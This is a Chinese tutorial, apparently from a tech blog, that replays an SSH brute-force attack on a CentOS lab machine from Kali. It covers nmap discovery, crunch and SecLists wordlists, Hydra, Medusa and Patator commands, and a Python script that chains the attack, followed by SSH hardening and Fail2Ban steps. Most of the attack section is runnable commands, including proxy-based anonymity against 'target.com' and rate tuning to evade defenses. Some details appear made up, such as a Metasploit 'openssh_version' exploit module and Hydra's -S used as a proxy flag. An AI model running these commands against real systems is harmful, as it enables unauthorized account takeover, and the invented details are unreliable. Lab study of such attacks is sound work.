news 2026/4/22 16:57:56

从信息搜集到破解:手把手复现Kali攻击CentOS SSH全流程(含Nmap扫描与Crunch字典生成)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从信息搜集到破解:手把手复现Kali攻击CentOS SSH全流程(含Nmap扫描与Crunch字典生成)

Kali实战:安全复现SSH渗透测试全流程解析

在虚拟化环境中进行网络安全实验是每位技术爱好者提升实战能力的必经之路。今天我们将深入探讨如何在一个隔离的VMware环境中,使用Kali Linux对CentOS系统的SSH服务进行完整的渗透测试流程复现。这不仅是CTF选手的必备技能,更是网络安全学习者理解防御机制的重要途径。

1. 实验环境搭建与基础准备

1.1 虚拟化环境配置

搭建安全的实验环境是首要任务。推荐使用VMware Workstation Pro 17创建两个独立虚拟机:

  • 攻击机:Kali Linux 2023.4(最新滚动更新版)
  • 靶机:CentOS Stream 9(最小化安装)

网络配置建议采用"仅主机模式"(Host-Only),确保实验网络与物理主机完全隔离。关键配置参数如下:

设备类型系统版本内存分配磁盘空间网络适配器
Kali Linux2023.4≥4GB≥50GBHost-Only
CentOSStream 9≥2GB≥30GBHost-Only

注意:实验前务必确认VMware Tools已正确安装,保证剪贴板共享和文件拖拽功能正常,这将大幅提升操作效率。

1.2 基础服务配置

在CentOS靶机上需要确保SSH服务正常运行:

# 检查SSH服务状态 systemctl status sshd # 若未运行则启动服务 sudo systemctl enable --now sshd # 验证22端口监听状态 ss -tulnp | grep 22

同时建议在Kali上安装增强工具包:

sudo apt update && sudo apt install -y \ seclists \ exploitdb \ metasploit-framework \ responder \ bloodhound

2. 网络探测与信息收集

2.1 存活主机发现技术

在假设已知目标网段为192.168.142.0/24的情况下,我们可以采用多种方式进行主机发现。以下是比单纯ping扫描更高效的进阶方法:

ARP扫描方案

sudo arp-scan -l --interface=eth0 --localnet

综合发现脚本(保存为discovery.sh):

#!/bin/bash NETWORK="192.168.142.0/24" echo "[*] Starting ICMP Ping Sweep..." nmap -sn $NETWORK -oG ping-sweep.gnmap echo "[*] Running ARP Discovery..." arp-scan -l --interface=eth0 | grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}' echo "[*] Performing TCP SYN Scan..." nmap -PS22,80,443 -T4 $NETWORK -oG syn-scan.gnmap # 结果合并与去重 cat *.gnmap | awk '/Up$/{print $2}' | sort -u > live-hosts.txt echo "[+] Active hosts saved to live-hosts.txt"

该脚本执行后,会在当前目录生成live-hosts.txt文件,包含所有存活主机IP。

2.2 深度服务探测技术

确定目标主机后,使用Nmap进行深度扫描:

sudo nmap -sV -sC -O -p22,80,443,3306,3389 --script=vuln -T4 192.168.142.130 -oA centos-scan

关键参数解析:

  • -sV:服务版本探测
  • -sC:默认脚本扫描
  • -O:操作系统检测
  • -p:指定端口范围
  • --script=vuln:运行漏洞检测脚本
  • -oA:输出所有格式报告

扫描结果分析要点:

  1. SSH服务版本信息(如OpenSSH 8.4p1)
  2. 操作系统内核版本
  3. 开放的非常规端口
  4. 漏洞脚本检测出的潜在弱点

3. 密码字典工程与优化

3.1 Crunch字典生成进阶技巧

基础密码字典生成:

crunch 6 6 123456 -o passwords.txt

更专业的字典生成策略:

组合字典生成

crunch 8 8 -t @,%%%%^^ -o complex_dict.txt

其中:

  • @代表小写字母
  • ,代表大写字母
  • %代表数字
  • ^代表特殊字符

基于规则的字典(假设知道密码包含"admin"):

crunch 10 10 -t admin%%%% -o admin_variants.txt

3.2 字典优化与合并

实际渗透测试中,建议组合多种字典源:

  1. 下载知名字典库:
wget https://github.com/danielmiessler/SecLists/archive/master.zip unzip master.zip
  1. 字典合并与去重:
cat passwords.txt admin_variants.txt \ SecLists-master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \ | sort -u > final_wordlist.txt
  1. 字典优化(按长度过滤):
awk 'length($0) >=6 && length($0) <=12' final_wordlist.txt > optimized_list.txt

4. 多维度SSH暴力破解实战

4.1 Hydra高级参数应用

基础破解命令:

hydra -l root -P passwords.txt ssh://192.168.142.130 -t 4 -vV

进阶参数组合:

hydra -L users.txt -P optimized_list.txt \ -e nsr -u -W 3 -f \ -o results.txt \ -M targets.txt \ ssh

参数详解:

  • -e nsr:尝试空密码、用户名作为密码、反向用户名
  • -u:尝试每个用户的所有密码(默认是每个密码的所有用户)
  • -W 3:每次尝试后等待3秒
  • -f:找到第一个有效凭证后停止
  • -o:保存结果到文件
  • -M:多目标文件(每行一个IP)

4.2 破解过程优化技巧

  1. 速率控制:避免触发目标系统的防御机制

    hydra -l root -P dict.txt ssh://192.168.142.130 -t 2 -w 10
  2. 断点续传

    hydra -l root -P dict.txt -R ssh://192.168.142.130
  3. 代理与匿名(仅限合法测试):

    hydra -l root -P dict.txt -s 2222 -S proxies.txt ssh://target.com

4.3 替代工具与技术

除了Hydra,还有其他优秀工具可供选择:

Medusa示例:

medusa -h 192.168.142.130 -u root -P dict.txt -M ssh -t 6

Patator(更精准的控制):

patator ssh_login host=192.168.142.130 user=root password=FILE0 0=dict.txt \ -x ignore:mesg='Authentication failed.'

5. 防御措施与安全加固

5.1 SSH服务基础加固

在CentOS靶机上进行防御配置:

sudo vim /etc/ssh/sshd_config

关键配置修改:

Port 2222 # 修改默认端口 PermitRootLogin no # 禁止root直接登录 MaxAuthTries 3 # 最大尝试次数 LoginGraceTime 1m # 登录宽限时间 AllowUsers regular_user # 只允许特定用户 PasswordAuthentication no # 禁用密码认证

重启服务生效:

sudo systemctl restart sshd

5.2 高级防御技术

Fail2Ban安装配置

sudo dnf install -y fail2ban sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

编辑配置文件:

[sshd] enabled = true port = 2222 filter = sshd logpath = /var/log/secure maxretry = 3 bantime = 1h

启动服务:

sudo systemctl enable --now fail2ban

证书认证配置

# Kali生成密钥对 ssh-keygen -t ed25519 # 复制公钥到CentOS ssh-copy-id -i ~/.ssh/id_ed25519.pub -p 2222 user@192.168.142.130

6. 实验扩展与深入研究

6.1 自动化渗透测试脚本

将整个流程整合为自动化脚本:

#!/usr/bin/env python3 import subprocess import time TARGET = "192.168.142.130" WORDLIST = "optimized_list.txt" def run_cmd(cmd): process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) output, _ = process.communicate() return output.decode() # 主机发现 print("[*] Discovering hosts...") run_cmd(f"nmap -sn 192.168.142.0/24 -oN scan.txt") # 服务扫描 print("[*] Scanning services...") run_cmd(f"nmap -sV -sC -p22 {TARGET} -oA {TARGET}_scan") # 字典生成 print("[*] Generating wordlist...") run_cmd(f"crunch 8 8 123456abcdef -o {WORDLIST}") # 暴力破解 print("[*] Starting brute force...") result = run_cmd(f"hydra -l root -P {WORDLIST} {TARGET} ssh -t 4 -vV") print(result)

6.2 漏洞利用进阶

如果扫描发现特定版本漏洞(如OpenSSH 8.4p1漏洞),可进行深入研究:

  1. 搜索漏洞利用代码:
searchsploit openssh 8.4
  1. Metasploit框架利用:
msfconsole use exploit/linux/ssh/openssh_version set RHOSTS 192.168.142.130 exploit
  1. 手动漏洞验证:
python3 exploit.py -t 192.168.142.130 -p 22

在实验环境中,我经常发现初学者容易忽略日志监控的重要性。实际上,实时观察靶机的/var/log/secure日志可以直观理解攻击者的行为模式,这对构建防御策略至关重要。建议在另一个终端窗口持续监控:

tail -f /var/log/secure | grep sshd
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/22 16:55:48

VibeVoice实时语音合成系统评测:轻量级模型,专业级效果

VibeVoice实时语音合成系统评测&#xff1a;轻量级模型&#xff0c;专业级效果 1. 开篇&#xff1a;重新定义实时语音合成的边界 当我们在2026年谈论语音合成技术时&#xff0c;VibeVoice-Realtime-0.5B的出现彻底改变了游戏规则。这个由微软开源的轻量级模型&#xff0c;在保…

作者头像 李华
网站建设 2026/4/22 16:52:39

Nelder-Mead算法原理与Python工程实践

1. Nelder-Mead优化算法基础解析Nelder-Mead算法是优化领域中一个经典的无梯度优化方法&#xff0c;特别适用于目标函数不可导或难以求导的情况。这个由John Nelder和Roger Mead在1965年提出的算法&#xff0c;经过半个多世纪的实际检验&#xff0c;依然是许多工程优化问题的首…

作者头像 李华
网站建设 2026/4/22 16:52:37

软件测试用例设计

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 1. 测试用例的概念软件测试人员向被测试系统提供的一组数据的集合&#xff0c;包括 测试环境、测试步骤、测试数据、预期结果2. 为什么在测试前要设计测试用例测试…

作者头像 李华
网站建设 2026/4/22 16:51:28

PHP SAAS 框架常见问题——云编译时 node.js 内存不足导致内存溢出

云编译时 node.js 内存不足导致内存溢出问题&#xff1a;部分小伙伴购买插件/应用太多时&#xff0c;云编译时会有 js 报错&#xff0c;如图&#xff1a;解决办法&#xff1a;1.如果是在编译 admin 端的溢出报错&#xff1a;打开源码根目录下的 admin/package.json 文件将 buil…

作者头像 李华
网站建设 2026/4/22 16:50:27

Windows 10下IntelliJ IDEA配置Rust插件踩坑记:手把手解决项目不识别问题

Windows 10下IntelliJ IDEA配置Rust插件全流程指南&#xff1a;从零搭建到疑难解决 作为一名长期在Windows平台进行Rust开发的工程师&#xff0c;我深知在IntelliJ IDEA中配置Rust环境可能遇到的种种挑战。不同于Linux或macOS&#xff0c;Windows系统特有的路径格式、环境变量管…

作者头像 李华